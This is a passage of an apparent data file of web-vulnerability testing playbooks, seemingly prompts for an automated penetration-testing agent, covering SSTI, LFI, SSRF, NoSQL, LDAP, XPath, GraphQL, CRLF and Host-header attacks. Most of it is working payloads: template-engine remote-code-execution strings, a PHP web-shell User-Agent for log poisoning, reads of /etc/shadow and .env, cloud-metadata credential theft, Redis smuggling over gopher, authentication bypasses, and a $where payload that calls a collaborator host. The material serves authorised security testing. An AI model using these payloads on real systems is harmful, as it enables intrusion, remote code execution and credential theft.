"overview": "User input embedded in server-side template engine (Jinja2, Twig, Freemarker, Velocity, Pebble, ERB, Smarty). Can lead to RCE. Test with mathematical expressions to detect template evaluation.",
|
||
"threat_model": "Attacker injects template syntax that gets evaluated server-side, escalating from information disclosure to arbitrary code execution depending on the template engine.",
|
||
"discovery": [
|
||
"Inject {{7*7}} and check for 49 in response (Jinja2/Twig)",
|
||
"Try ${7*7} for Freemarker/Velocity/Pebble",
|
||
"Try #{7*7} for Ruby ERB / Java EL",
|
||
"Try {7*7} for Smarty",
|
||
"Try <%= 7*7 %> for ERB/EJS",
|
||
"Use polyglot: ${{<%[%'\"}}%\\."
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Template Engine Detection",
|
||
"prompts": [
|
||
"Inject the polyglot probe ${{<%[%'\"}}%\\. into each parameter. Analyze the error message to identify the template engine.",
|
||
"Try {{7*7}} → if response contains 49, it's Jinja2 or Twig. Then try {{7*'7'}} → '7777777' means Jinja2, '49' means Twig.",
|
||
"Try ${7*7} → 49 means Freemarker, Velocity, or Pebble. Try ${class.getClass()} for Velocity, ${.now} for Freemarker.",
|
||
"Try #{7*7} → 49 means Java EL or Ruby ERB. Try #{system('id')} for ERB.",
|
||
"Try <%= 7*7 %> → 49 means EJS or classic ERB.",
|
||
"Check error messages for template engine names: 'jinja2', 'twig', 'freemarker', 'velocity', 'pebble', 'thymeleaf'."
|
||
],
|
||
"expected_results": ["Mathematical expression evaluated", "Template engine identified"],
|
||
"decision_tree": {
|
||
"expression_evaluated": "Proceed to Phase 2 with engine-specific payloads",
|
||
"error_reveals_engine": "Proceed to Phase 2 targeting identified engine",
|
||
"no_evaluation": "Try alternative template syntaxes or different parameters"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "RCE Exploitation per Engine",
|
||
"prompts": [
|
||
"JINJA2 RCE: {{config.__class__.__init__.__globals__['os'].popen('id').read()}} or {{''.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate()}} (find subprocess.Popen index).",
|
||
"TWIG RCE: {{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}.",
|
||
"FREEMARKER RCE: <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}.",
|
||
"VELOCITY RCE: #set($x='')##set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id')).",
|
||
"PEBBLE RCE: {% set cmd = 'id' %}{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}{{(1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes])}}.",
|
||
"ERB RCE: <%= system('id') %> or <%= `id` %>.",
|
||
"THYMELEAF RCE: __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x"
|
||
],
|
||
"expected_results": ["Command execution achieved", "System information extracted"],
|
||
"decision_tree": {
|
||
"rce_achieved": "CRITICAL - Document RCE with proof",
|
||
"info_disclosure_only": "HIGH - Template engine info leak",
|
||
"rce_blocked_by_sandbox": "MEDIUM - Document sandbox limitations"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Jinja2 sandbox bypass: explore __subclasses__() to find Popen/os",
|
||
"Attribute access alternatives: |attr('__class__'), ['__class__']",
|
||
"String concatenation: {{'__cla'+'ss__'}}",
|
||
"Unicode escapes in template syntax",
|
||
"Hex encoding: \\x5f\\x5fclass\\x5f\\x5f",
|
||
"Use request object: {{request.application.__globals__}}"
|
||
],
|
||
"verification_checklist": [
|
||
"Mathematical expression (7*7=49) evaluates correctly",
|
||
"Template engine identified with certainty",
|
||
"RCE proof: command output matches expected system info",
|
||
"Negative control: literal string {{7*7}} without evaluation = not vulnerable"
|
||
],
|
||
"chain_attacks": ["SSTI → RCE → Full compromise", "SSTI → File read → Secret extraction", "SSTI → SSRF via template functions"],
|
||
"anti_false_positive": [
|
||
"Client-side template engines (Angular, Vue) are NOT SSTI",
|
||
"Application returning '49' for unrelated reasons != SSTI",
|
||
"Must prove server-side evaluation, not just string reflection"
|
||
]
|
||
},
|
||
|
||
"lfi": {
|
||
"category": "file_access",
|
||
"title": "Local File Inclusion (LFI)",
|
||
"overview": "Application includes local files based on user input. Test file path parameters for directory traversal to read sensitive files or achieve RCE via log poisoning, PHP wrappers, or /proc/self/environ.",
|
||
"threat_model": "Attacker reads sensitive server files (config, credentials, source code) or achieves RCE by including log files containing injected PHP, or by leveraging PHP filter wrappers.",
|
||
"discovery": [
|
||
"Look for parameters that reference files: page=, file=, path=, template=, include=, lang=",
|
||
"Test ../../etc/passwd (or ..\\..\\windows\\win.ini on Windows)",
|
||
"Try absolute path: /etc/passwd",
|
||
"Try null byte truncation (old PHP): ../../etc/passwd%00",
|
||
"Test PHP wrappers: php://filter/convert.base64-encode/resource=index.php"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Path Traversal Detection",
|
||
"prompts": [
|
||
"For file-referencing parameters, try: ../../../../../../etc/passwd. Use enough ../ to reach root (8-10 levels). Check for 'root:x:0:0' in response.",
|
||
"If ../ is filtered, try: ....//....//etc/passwd, ..%252f..%252f/etc/passwd, ..%c0%af..%c0%af/etc/passwd (overlong UTF-8), ....\\\\....\\\\etc/passwd.",
|
||
"Try absolute path: /etc/passwd. Some apps only filter relative traversal.",
|
||
"Try null byte (old PHP <5.3.4): ../../etc/passwd%00.php to bypass extension append.",
|
||
"On Windows: ....\\\\....\\\\windows\\\\win.ini, ....\\\\....\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts.",
|
||
"Check if error messages reveal the base path (aids further exploitation)."
|
||
],
|
||
"expected_results": ["/etc/passwd content displayed", "Error reveals file path"],
|
||
"decision_tree": {
|
||
"file_content_displayed": "CONFIRMED LFI - Proceed to Phase 2 for impact",
|
||
"error_with_path": "Path disclosed - adjust traversal depth",
|
||
"all_traversal_blocked": "Try wrapper-based LFI in Phase 2"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Sensitive File Extraction & RCE",
|
||
"prompts": [
|
||
"Read sensitive files: /etc/shadow, /etc/hosts, /proc/self/environ (environment variables with secrets), /proc/self/cmdline.",
|
||
"Read application source: use known paths from error messages. Try config files: .env, config.php, settings.py, application.properties, web.config.",
|
||
"PHP WRAPPERS: php://filter/convert.base64-encode/resource=index.php (reads source code as base64). Decode to get application source.",
|
||
"RCE via PHP wrappers: php://input with POST body containing <?php system('id'); ?>, data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+ (<?php system('id');?>).",
|
||
"RCE via LOG POISONING: Include /var/log/apache2/access.log after sending request with User-Agent: <?php system($_GET['cmd']); ?>.",
|
||
"RCE via /proc/self/fd/X: enumerate file descriptors, some may be writable logs.",
|
||
"Try phar:// wrapper for deserialization attacks."
|
||
],
|
||
"expected_results": ["Sensitive data extracted", "RCE achieved via wrapper/log"],
|
||
"decision_tree": {
|
||
"rce_via_wrappers": "CRITICAL - Full server compromise",
|
||
"sensitive_data_read": "HIGH - Credential/source code exposure",
|
||
"limited_read_only": "MEDIUM - Document readable files"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Double encoding: ..%252f..%252f",
|
||
"Overlong UTF-8: %c0%af for /",
|
||
"Nested traversal: ....// → ../ after filter removes ../",
|
||
"URL encoding: %2e%2e%2f for ../",
|
||
"Null byte: %00 to truncate appended extension (old PHP)",
|
||
"Path normalization: /etc/passwd vs /etc//passwd vs /etc/./passwd",
|
||
"PHP wrappers: php://filter, data://, phar://, expect://"
|
||
],
|
||
"verification_checklist": [
|
||
"Known file content matches expected format (/etc/passwd has root:x:0:0)",
|
||
"Different file paths return different content",
|
||
"Negative control: non-existent file returns error/different response",
|
||
"File content is actual server file, not template/default content"
|
||
],
|
||
"chain_attacks": ["LFI → Credential extraction → Further access", "LFI → Source code → New vulns", "LFI → Log poisoning → RCE", "LFI → PHP wrappers → RCE"],
|
||
"anti_false_positive": [
|
||
"Error message mentioning file path != LFI (information disclosure only)",
|
||
"Default/template file content != actually reading arbitrary files",
|
||
"Must demonstrate reading a file OUTSIDE the intended directory scope"
|
||
]
|
||
},
|
||
|
||
"ssrf": {
|
||
"category": "request_forgery",
|
||
"title": "Server-Side Request Forgery (SSRF)",
|
||
"overview": "Application makes HTTP requests based on user-supplied URL/host. Test for access to internal services, cloud metadata, and internal network scanning. Focus on internal impact, not just that a request was made.",
|
||
"threat_model": "Attacker tricks server into making requests to internal services (databases, admin panels, cloud metadata), bypassing firewalls and network segmentation. Can lead to credential theft, internal service access, and RCE.",
|
||
"discovery": [
|
||
"Identify parameters accepting URLs: url=, uri=, path=, redirect=, callback=, webhook=",
|
||
"Test with external callback URL (collaborator/webhook.site)",
|
||
"Test with internal targets: http://127.0.0.1, http://localhost",
|
||
"Look for PDF generators, image fetchers, link previewers, webhooks, import from URL features"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "SSRF Detection & Internal Access",
|
||
"prompts": [
|
||
"Submit url=http://COLLABORATOR_URL and check for callback. This confirms the server makes outbound requests.",
|
||
"Test internal access: url=http://127.0.0.1:80, url=http://localhost:8080, url=http://[::1]:80. Check if internal content is returned.",
|
||
"Test cloud metadata: url=http://169.254.169.254/latest/meta-data/ (AWS), url=http://metadata.google.internal/computeMetadata/v1/ (GCP), url=http://169.254.169.254/metadata/instance (Azure).",
|
||
"Port scan internal network: url=http://127.0.0.1:{port} for common ports (22, 80, 443, 3306, 5432, 6379, 8080, 9200). Different response times/sizes indicate open ports.",
|
||
"Try file protocol: url=file:///etc/passwd. Try dict protocol: url=dict://127.0.0.1:6379/INFO (Redis).",
|
||
"Test for partial SSRF: can you control the host but not the path? Or the path but not the host?"
|
||
],
|
||
"expected_results": ["Internal content accessed", "Cloud metadata retrieved", "Internal ports discovered"],
|
||
"decision_tree": {
|
||
"internal_content_returned": "CONFIRMED SSRF - Proceed to Phase 2",
|
||
"cloud_metadata_accessed": "CRITICAL - Cloud credential theft possible",
|
||
"only_external_callback": "Partial SSRF - Test for further internal access",
|
||
"all_internal_blocked": "Try bypass techniques in Phase 2"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Bypass & Impact Escalation",
|
||
"prompts": [
|
||
"IP bypass: 0177.0.0.1 (octal), 0x7f000001 (hex), 2130706433 (decimal), 127.1, 127.0.0.1.nip.io (DNS rebinding).",
|
||
"URL parsing confusion: http://attacker.com@127.0.0.1, http://127.0.0.1#@attacker.com, http://127.0.0.1%2523@attacker.com.",
|
||
"Redirect bypass: host an external URL that 301 redirects to http://169.254.169.254/. The server may follow the redirect.",
|
||
"Protocol smuggling: gopher://127.0.0.1:6379/_SET%20pwned%20true (Redis command via SSRF), gopher://127.0.0.1:25/_MAIL%20FROM:... (SMTP).",
|
||
"DNS rebinding: use a domain that alternates between external IP and 127.0.0.1. First resolution passes allowlist, second resolution hits internal.",
|
||
"If cloud metadata accessible, extract: IAM credentials, service account tokens, user-data scripts with secrets."
|
||
],
|
||
"expected_results": ["Bypass found", "Impact escalated"],
|
||
"decision_tree": {
|
||
"cloud_creds_extracted": "CRITICAL - Document full credential extraction",
|
||
"internal_service_accessed": "HIGH - Document internal service exposure",
|
||
"bypass_found": "CONFIRMED - Document bypass technique",
|
||
"limited_ssrf": "MEDIUM - Document capabilities and limitations"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"IP encoding: decimal, hex, octal, IPv6 mapped IPv4",
|
||
"DNS tricks: 127.0.0.1.nip.io, DNS rebinding",
|
||
"URL parsing: @, #, URL encoding confusion",
|
||
"Redirect chains: external → internal redirect",
|
||
"Protocol handlers: file://, dict://, gopher://",
|
||
"CNAME to internal: external domain CNAMEd to internal host",
|
||
"IPv6: http://[::1]/, http://[0:0:0:0:0:ffff:127.0.0.1]/"
|
||
],
|
||
"verification_checklist": [
|
||
"Server makes request to attacker-controlled URL (OOB confirmation)",
|
||
"Internal content/metadata returned that is NOT publicly accessible",
|
||
"Negative control: external URL returns external content normally",
|
||
"Internal access differs from what external access provides",
|
||
"NOT just a status code difference — must have content/metadata proof"
|
||
],
|
||
"chain_attacks": ["SSRF → Cloud metadata → IAM creds → Cloud takeover", "SSRF → Internal Redis → RCE", "SSRF → Internal admin panel → Data access"],
|
||
"anti_false_positive": [
|
||
"Status code difference (403→200) alone is NOT SSRF proof",
|
||
"Must demonstrate ACCESS to internal resources, not just request initiation",
|
||
"Application fetching external URLs by design is not SSRF (it's the feature)",
|
||
"Validate internal content is actually internal, not a default/error page"
|
||
]
|
||
},
|
||
|
||
"nosql_injection": {
|
||
"category": "injection",
|
||
"title": "NoSQL Injection",
|
||
"overview": "User input manipulates NoSQL queries (MongoDB, CouchDB, Redis). Test for operator injection in JSON/query parameters to bypass authentication or extract data.",
|
||
"threat_model": "Attacker injects NoSQL operators ($gt, $ne, $regex, $where) to bypass authentication, extract data, or execute server-side JavaScript. Common in MongoDB applications using JSON APIs.",
|
||
"discovery": [
|
||
"JSON body with user/pass: try {\"$ne\": \"\"} for always-true conditions",
|
||
"Query params: user[$ne]=&pass[$ne]= (MongoDB operator injection)",
|
||
"Test $regex, $gt, $exists operators",
|
||
"Look for MongoDB-style error messages"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Operator Injection Detection",
|
||
"prompts": [
|
||
"For login forms, replace username/password with operator objects: {\"username\": {\"$ne\": \"\"}, \"password\": {\"$ne\": \"\"}}. If login succeeds, authentication is bypassed.",
|
||
"In query parameters: user[$ne]=admin&pass[$gt]=. Check if this returns data or bypasses auth.",
|
||
"Test regex extraction: {\"username\": \"admin\", \"password\": {\"$regex\": \"^a\"}}. Iterate characters to extract password (like blind SQLi).",
|
||
"Test $where (JS execution): {\"$where\": \"this.username == 'admin' && this.password.length > 0\"}. If this returns results, JS execution is possible.",
|
||
"Test array injection: id[]=1&id[]=2 to see if application handles array parameters unexpectedly."
|
||
],
|
||
"expected_results": ["Auth bypass via operator injection", "Data extraction via regex", "JS execution via $where"],
|
||
"decision_tree": {
|
||
"auth_bypassed": "CRITICAL - Document auth bypass proof",
|
||
"data_extracted": "HIGH - Document extraction technique",
|
||
"js_execution": "CRITICAL - $where enables arbitrary JS execution",
|
||
"no_injection": "Try different parameter formats, nested objects"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Advanced Extraction & RCE",
|
||
"prompts": [
|
||
"Extract password via $regex binary search: {\"password\": {\"$regex\": \"^{prefix}\"}} - iterate characters until login fails.",
|
||
"Data enumeration via $gt/$lt: {\"_id\": {\"$gt\": \"\"}} returns all documents. Use $gt with known ID to paginate.",
|
||
"RCE via $where with sleep: {\"$where\": \"sleep(5000)\"} for time-based confirmation.",
|
||
"MongoDB $lookup injection for cross-collection data access if in aggregation pipeline.",
|
||
"Test for SSRF in MongoDB operations: {\"$where\": \"this.constructor.constructor('return fetch(`http://COLLAB`)')()\"}"
|
||
],
|
||
"expected_results": ["Full credential extraction", "Cross-collection access", "RCE or SSRF"],
|
||
"decision_tree": {
|
||
"creds_extracted": "CRITICAL - Document full extraction",
|
||
"cross_collection": "HIGH - Unauthorized data access",
|
||
"rce_achieved": "CRITICAL - Server compromise"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Content-Type manipulation: application/json vs application/x-www-form-urlencoded",
|
||
"Unicode operator names: $ne (fullwidth dollar)",
|
||
"Nested object depth to bypass validation",
|
||
"Mixed parameter types: array + object",
|
||
"PHP/Express parameter pollution for operator injection"
|
||
],
|
||
"verification_checklist": [
|
||
"Operator injection changes query behavior (auth bypass or different data)",
|
||
"Regex extraction produces valid characters/data",
|
||
"Negative control: valid credentials return same result as injected",
|
||
"Multiple operator types work (confirms NoSQL injection, not coincidence)"
|
||
],
|
||
"chain_attacks": ["NoSQLi → Auth bypass → Account takeover", "NoSQLi → Data dump → Credential reuse"],
|
||
"anti_false_positive": [
|
||
"Login bypass may be due to default credentials, not injection",
|
||
"Test with known-invalid operators to confirm they're processed",
|
||
"Verify the auth bypass is via injection, not a permissive auth policy"
|
||
]
|
||
},
|
||
|
||
"ldap_injection": {
|
||
"category": "injection",
|
||
"title": "LDAP Injection",
|
||
"overview": "User input incorporated into LDAP queries without sanitization. Test authentication endpoints, directory searches, and user lookups for LDAP filter manipulation.",
|
||
"threat_model": "Attacker manipulates LDAP queries to bypass authentication, enumerate users, or extract directory information. Common in enterprise environments using Active Directory.",
|
||
"discovery": [
|
||
"Look for login forms and user search that query LDAP/AD",
|
||
"Inject special LDAP chars: *, (, ), \\, NUL",
|
||
"Test: username=*)(uid=*))(|(uid=* for filter injection",
|
||
"Check for LDAP error messages"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "LDAP Filter Injection Detection",
|
||
"prompts": [
|
||
"In login forms, test username=* — if LDAP filter is (&(uid=INPUT)(password=PWD)), injecting * makes (&(uid=*)(password=PWD)) which may return first user.",
|
||
"Test authentication bypass: username=admin)(&) or username=admin)(|(password=* to manipulate the AND filter.",
|
||
"For search functions, test: search=*)(uid=*))(|(uid=* to inject additional LDAP filter conditions.",
|
||
"Try boolean-based enumeration: search=a* (users starting with 'a'), search=b* (users starting with 'b'). Different result counts confirm injection.",
|
||
"Test special characters: (, ), *, \\, NUL byte. Check which are filtered vs passed through."
|
||
],
|
||
"expected_results": ["Auth bypass via filter manipulation", "User enumeration via wildcard", "LDAP errors exposed"],
|
||
"decision_tree": {
|
||
"auth_bypassed": "CRITICAL - Document LDAP auth bypass",
|
||
"user_enumeration": "MEDIUM - Document directory enumeration",
|
||
"error_disclosure": "LOW - LDAP error information disclosure",
|
||
"no_injection": "Check for bind-based LDAP auth (harder to inject)"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Unicode encoding of special LDAP characters",
|
||
"NUL byte to terminate filter early: admin%00)(|(uid=*",
|
||
"Alternate filter operators: >=, <=, ~= (approximate match)",
|
||
"Nested filter injection: )(|(cn=*"
|
||
],
|
||
"verification_checklist": [
|
||
"Wildcard (*) returns different results than specific value",
|
||
"Filter manipulation changes authentication/query behavior",
|
||
"LDAP error messages confirm query structure injection",
|
||
"Negative control: normal input returns expected results"
|
||
],
|
||
"chain_attacks": ["LDAP injection → Auth bypass → Admin access", "LDAP injection → User enumeration → Password spraying"],
|
||
"anti_false_positive": [
|
||
"Wildcard search may be an intended feature",
|
||
"Must prove filter manipulation, not just wildcard support",
|
||
"LDAP error message alone is info disclosure, not injection"
|
||
]
|
||
},
|
||
|
||
# ═══════════════════════════════════════════════════════════
|
||
# CHAPTER 2: ADVANCED INJECTION (11-20)
|
||
# ═══════════════════════════════════════════════════════════
|
||
|
||
"xpath_injection": {
|
||
"category": "injection",
|
||
"title": "XPath Injection",
|
||
"overview": "User input incorporated into XPath queries against XML data stores. Test authentication and search parameters for XPath expression manipulation to bypass auth or extract XML data.",
|
||
"threat_model": "Attacker manipulates XPath queries to bypass XML-based authentication, extract sensitive data from XML stores, or enumerate XML document structure.",
|
||
"discovery": [
|
||
"Look for XML-backed authentication or search functionality",
|
||
"Inject XPath special chars: ', \", /, [, ], (, ), =",
|
||
"Test: ' or '1'='1 for always-true condition",
|
||
"Check for XML/XPath error messages in responses"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "XPath Injection Detection",
|
||
"prompts": [
|
||
"For login/search parameters, test: ' or '1'='1 to create always-true condition. If original query is //user[name='INPUT' and pass='PWD'], injection makes //user[name='' or '1'='1' and pass='PWD'].",
|
||
"Test: ' or ''=' to create always-true without digits (bypasses numeric filters).",
|
||
"Try to extract XML structure: ' or name()='user' or 'a'='b to test node names.",
|
||
"Test boolean extraction: ' and substring(//user[1]/pass,1,1)='a' and 'a'='a to extract data char-by-char.",
|
||
"Check for error-based disclosure: inject invalid XPath like '][' and check if error reveals query structure."
|
||
],
|
||
"expected_results": ["Auth bypass via XPath manipulation", "Data extracted", "Query structure revealed"],
|
||
"decision_tree": {
|
||
"auth_bypassed": "CONFIRMED - Document XPath auth bypass",
|
||
"data_extracted": "CONFIRMED - Document extraction proof",
|
||
"error_reveals_structure": "Proceed with targeted injection using known structure",
|
||
"no_injection": "May not be XPath-backed, try other injection types"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Unicode encoding of quote characters",
|
||
"XPath 2.0 functions if available: matches(), tokenize()",
|
||
"Namespace-aware queries: //*[local-name()='user']",
|
||
"Comment injection: (: comment :) in XPath 2.0"
|
||
],
|
||
"verification_checklist": [
|
||
"Boolean condition manipulation changes query results",
|
||
"Extracted data matches expected XML format",
|
||
"Error messages confirm XPath query context",
|
||
"Negative control: valid input returns normal results"
|
||
],
|
||
"chain_attacks": ["XPath injection → Auth bypass", "XPath injection → Full XML data extraction"],
|
||
"anti_false_positive": [
|
||
"Quote causing error may be generic input validation, not XPath",
|
||
"Must prove XPath query manipulation, not just error triggering"
|
||
]
|
||
},
|
||
|
||
"graphql_injection": {
|
||
"category": "injection",
|
||
"title": "GraphQL Injection & Abuse",
|
||
"overview": "GraphQL-specific attacks: introspection queries, batch queries, query depth abuse, field suggestion enumeration, and injection within GraphQL variables. Focus on schema discovery and authorization bypass.",
|
||
"threat_model": "Attacker exploits GraphQL's flexible query language to discover the entire API schema, bypass field-level authorization, perform batch operations to brute-force, or inject into resolver functions.",
|
||
"discovery": [
|
||
"Identify GraphQL endpoints: /graphql, /gql, /api/graphql",
|
||
"Send introspection query: {__schema{types{name,fields{name}}}}",
|
||
"Test for field suggestions in error messages",
|
||
"Check for query complexity/depth limits"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Schema Discovery & Introspection",
|
||
"prompts": [
|
||
"Send full introspection query to discover the entire schema: {__schema{queryType{name},mutationType{name},types{name,kind,fields{name,type{name,kind,ofType{name}},args{name,type{name}}}}}. This reveals all types, fields, and arguments.",
|
||
"If introspection is disabled, use field suggestion attacks: query {user{aaa}}. Error messages may suggest valid field names like 'Did you mean: address, age, admin?'.",
|
||
"Map all queries and mutations from schema. Focus on mutations that modify data, create users, or change permissions.",
|
||
"Check for deprecated fields that may have weaker authorization.",
|
||
"Test query aliases for batch operations: {a:user(id:1){name} b:user(id:2){name} c:user(id:3){name}} — if no rate limiting, this enables mass enumeration."
|
||
],
|
||
"expected_results": ["Full schema discovered", "All queries/mutations mapped"],
|
||
"decision_tree": {
|
||
"full_schema_obtained": "Proceed to Phase 2 - Authorization testing",
|
||
"partial_schema": "Use field suggestions + error enumeration",
|
||
"introspection_disabled_no_suggestions": "Brute-force common field names"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Authorization Bypass & Injection",
|
||
"prompts": [
|
||
"Test IDOR via GraphQL: query {user(id: OTHER_USER_ID) {email, password, ssn}}. Check if authorization is per-field or per-query.",
|
||
"Test mutation authorization: try modifying other users' data via mutation {updateUser(id: OTHER_USER_ID, role: \"admin\") {id, role}}.",
|
||
"Batch query abuse: send 1000 login attempts in one request using aliases: {a:login(user:\"admin\",pass:\"pass1\"){token} b:login(user:\"admin\",pass:\"pass2\"){token} ...}.",
|
||
"Test nested query depth: {user{friends{friends{friends{friends{name}}}}}} — excessive depth may cause DoS or expose deeply nested data.",
|
||
"Test injection in variables: {\"query\": \"query($id:ID!){user(id:$id){name}}\", \"variables\": {\"id\": \"1 OR 1=1\"}} — if resolver builds SQL from variables.",
|
||
"Test for SQL injection via GraphQL: query {users(filter: \"name='admin' OR '1'='1'\") {name, password}}."
|
||
],
|
||
"expected_results": ["IDOR via GraphQL", "Batch brute-force works", "Injection in resolvers"],
|
||
"decision_tree": {
|
||
"idor_confirmed": "HIGH - Document unauthorized data access",
|
||
"batch_abuse": "MEDIUM - Document rate limit bypass",
|
||
"resolver_injection": "CRITICAL - SQLi/NoSQLi via GraphQL",
|
||
"proper_auth": "Check for other GraphQL-specific issues"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Introspection via POST instead of GET",
|
||
"Fragment-based introspection to bypass regex filters",
|
||
"Alias-based batch queries to bypass rate limiting",
|
||
"Persisted queries manipulation",
|
||
"Nested fragments for depth bypass"
|
||
],
|
||
"verification_checklist": [
|
||
"Schema data matches expected API structure",
|
||
"Unauthorized data access returns actual user data (not errors)",
|
||
"Batch queries actually execute (not just accepted)",
|
||
"Injection in resolvers produces SQL/NoSQL errors or data"
|
||
],
|
||
"chain_attacks": ["GraphQL introspection → IDOR → Data theft", "GraphQL batch → Credential brute-force", "GraphQL injection → SQLi → Data extraction"],
|
||
"anti_false_positive": [
|
||
"Introspection enabled is a finding but low severity alone",
|
||
"Must verify IDOR returns other users' actual data, not just '200 OK'",
|
||
"Batch queries that are rate-limited are not a vulnerability"
|
||
]
|
||
},
|
||
|
||
"crlf_injection": {
|
||
"category": "injection",
|
||
"title": "CRLF Injection / HTTP Response Splitting",
|
||
"overview": "User input reflected in HTTP response headers without CRLF sanitization. Inject \\r\\n to add arbitrary headers or split the response for cache poisoning, XSS, or session fixation.",
|
||
"threat_model": "Attacker injects CRLF characters to add malicious HTTP headers (Set-Cookie for session fixation, Location for open redirect) or split the response to inject HTML/JS content.",
|
||
"discovery": [
|
||
"Test parameters reflected in headers: redirect URLs, cookie values, custom headers",
|
||
"Inject %0d%0a (\\r\\n) and check for header injection",
|
||
"Test: value%0d%0aSet-Cookie:%20evil=injected",
|
||
"Check Location, Set-Cookie, and custom headers for reflection"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "CRLF Injection Detection",
|
||
"prompts": [
|
||
"For parameters reflected in response headers (especially redirect URLs), inject: value%0d%0aInjected-Header:true. Check if 'Injected-Header: true' appears as a new response header.",
|
||
"Try double CRLF for response splitting: value%0d%0a%0d%0a<script>alert(1)</script>. This ends headers and starts body content.",
|
||
"Test encoding variants: %0d%0a, %0D%0A, \\r\\n, %E5%98%8A%E5%98%8D (Unicode CRLF), %0aHeader: (LF only).",
|
||
"Test in redirect URLs: /redirect?url=http://example.com%0d%0aSet-Cookie:%20session=hijacked.",
|
||
"Check if only %0d or only %0a works (some servers split on LF alone)."
|
||
],
|
||
"expected_results": ["Injected header appears in response", "Response body injection via splitting"],
|
||
"decision_tree": {
|
||
"header_injected": "CONFIRMED CRLF - Document injected header",
|
||
"response_split": "CRITICAL - XSS via response splitting",
|
||
"only_lf_works": "Partial CRLF - may still be exploitable",
|
||
"all_encoded": "Not vulnerable to CRLF injection"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Unicode CRLF: %E5%98%8A%E5%98%8D",
|
||
"LF only: %0a (some servers accept)",
|
||
"Double encoding: %250d%250a",
|
||
"UTF-8 overlong: %c0%8d%c0%8a",
|
||
"Mix CR and LF separately in different parameters"
|
||
],
|
||
"verification_checklist": [
|
||
"Injected header appears as a separate HTTP header in response",
|
||
"Response splitting creates injectable body content",
|
||
"Negative control: without CRLF, header is not split",
|
||
"Multiple injection variants tested to confirm consistency"
|
||
],
|
||
"chain_attacks": ["CRLF → Set-Cookie injection → Session fixation", "CRLF → XSS via response splitting", "CRLF → Cache poisoning"],
|
||
"anti_false_positive": [
|
||
"CRLF characters URL-encoded in response != injection (just reflection)",
|
||
"Must show the injected content as a NEW header, not URL-encoded in existing header",
|
||
"Some frameworks handle CRLF safely in header values"
|
||
]
|
||
},
|
||
|
||
"header_injection": {
|
||
"category": "injection",
|
||
"title": "HTTP Header Injection",
|
||
"overview": "User-controlled values inserted into HTTP response headers. Similar to CRLF but focuses on injection within existing header values (Host header, X-Forwarded-For, etc.) for cache poisoning, password reset hijacking, or SSRF.",
|
||
"threat_model": "Attacker manipulates HTTP headers to poison web caches, hijack password reset links (Host header attack), or bypass IP-based access controls (X-Forwarded-For spoofing).",
|
||
"discovery": [
|
||
"Test Host header: change to attacker domain, check if reflected in links",
|
||
"Test X-Forwarded-Host, X-Forwarded-For, X-Original-URL, X-Rewrite-URL",
|
||
"Check for header values reflected in response body or headers"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Host Header Attacks",
|
||
"prompts": [
|
||
"Change Host header to attacker.com. Check if the application generates links/URLs using the Host header (password reset emails, absolute URLs in HTML).",
|
||
"Test password reset: trigger reset, intercept request, change Host to attacker.com. If reset link uses Host header value, attacker receives the reset token.",
|
||
"Test X-Forwarded-Host: keep original Host but add X-Forwarded-Host: attacker.com. Some apps prefer X-Forwarded-Host.",
|
||
"Test cache poisoning: send request with Host: attacker.com, check if CDN/cache stores the response with malicious URLs.",
|
||
"Test absolute URL override: X-Original-URL: /admin or X-Rewrite-URL: /admin to bypass path-based access controls."
|
||
],
|
||
"expected_results": ["Host header reflected in links", "Password reset token sent to attacker", "Cache poisoned"],
|
||
"decision_tree": {
|
||
"host_in_reset_link": "HIGH - Password reset hijacking",
|
||
"cache_poisoned": "HIGH - Cache poisoning affects all users",
|
||
"path_bypass": "HIGH - Access control bypass via URL override",
|
||
"host_not_reflected": "Check for X-Forwarded-Host support"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Double Host header: first is ignored, second is processed",
|
||
"Host with port: attacker.com:80 or attacker.com:@real-host.com",
|
||
"X-Forwarded-Host, X-Host, X-Forwarded-Server",
|
||
"Space before header value: Host: attacker.com",
|
||
"Underscore variant: X_Forwarded_Host (some parsers convert _ to -)"
|
||
],
|
||
"verification_checklist": [
|
||
"Modified header value appears in response body/headers/emails",
|
||
